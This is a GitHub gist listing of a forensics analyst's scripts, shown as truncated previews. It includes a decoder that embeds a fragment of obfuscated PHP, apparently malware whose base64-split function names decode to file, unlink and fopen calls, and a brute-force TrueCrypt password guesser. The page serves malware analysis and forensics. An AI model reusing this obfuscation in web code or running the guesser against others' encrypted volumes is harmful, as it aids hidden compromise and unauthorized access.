Skip to content

Instantly share code, notes, and snippets.

View Rurik's full-sized avatar

Brian Baskin Rurik

View GitHub Profile
@Rurik
Rurik / encoded_PHP_decoder.py
Last active April 3, 2021 16:46
A quickie decoder script for encoded PHP code. May be Fort Disco?
import base64
script = """
<? $GLOBALS['_584730172_']=Array(base64_decode('ZXJy' .'b' .'3JfcmVw' .'b' .'3J0aW5n'),base64_decode('c' .'2V0X3RpbWV' .'fbGl' .'taXQ' .'='),base64_decode('' .'ZG' .'Vma' .'W' .'5l'),base64_decode('' .'ZGlyb' .'mFtZQ=='),base64_decode('ZGVm' .'aW5l'),base64_decode('' .'d' .'W5saW5r'),base64_decode('Zml' .'sZ' .'V9le' .'G' .'lzdHM='),base64_decode('dG91Y2' .'g='),base64_decode('aXNfd3J' .'p' .'dGFibGU='),base64_decode('dHJ' .'p' .'bQ=='),base64_decode('ZmlsZ' .'V9nZXRf' .'Y29udGVud' .'HM='),base64_decode('dW5s' .'aW5r'),base64_decode('Zm' .'lsZ' .'V9nZXRf' .'Y2' .'9u' .'dGVudHM='),base64_decode('d' .'W5' .'saW5r'),base64_decode('cH' .'JlZ19' .'tYX' .'Rj' .'aA=='),base64_decode('aW1wb' .'G9kZ' .'Q=='),base64_decode('cHJlZ19t' .'YXRja' .'A=='),base64_decode('a' .'W1w' .'bG9k' .'Z' .'Q=='),base64_decode('Zml' .'s' .'ZV' .'9nZXRfY' .'29' .'udGV' .'udH' .'M='),base64_decode('Z' .'m9w' .'ZW4='),base64_decode('' .'ZmxvY' .'2' .'s' .'='),base64_decode('ZnB1' .'dH' .'M='),base64_decode('Zmx'
@Rurik
Rurik / Python_GUI.py
Last active December 17, 2015 13:39
Basic Python GUI framework
import os
import sys
from PyQt4.QtCore import *
from PyQt4.QtGui import *
import base64
def main():
app = QApplication(sys.argv)
w = MyWindow()
w.show()
@Rurik
Rurik / TrueCrypt_Guess.py
Created May 5, 2013 15:13
TrueCrypt password guesser for leet-speak passwords. Blog post here: http://ghettoforensics.blogspot.com/2013/05/31337-password-guessing.html
import os
import subprocess
tc_exe = "C:\\Program Files\\TrueCrypt\\truecrypt.exe"
tc_file = "E:\\test.tlc"
drive_letter = "P"
def leet_lookup(char):
list = {"a": ["a","A","@"],
"b": ["b", "B", "8"],
@Rurik
Rurik / gist:5440114
Last active December 16, 2015 13:09
See if a process name is currently running or not (Windows)
# Based on WMI code from http://mail.python.org/pipermail/python-win32/2006-March/004340.html
import os
def process_running(procname):
def find_pid(processname):
import win32com.client
for proc in win32com.client.GetObject('winmgmts:').InstancesOf('win32_process'):
if proc.Name.upper() == processname.upper():
return proc.Properties_('ProcessId')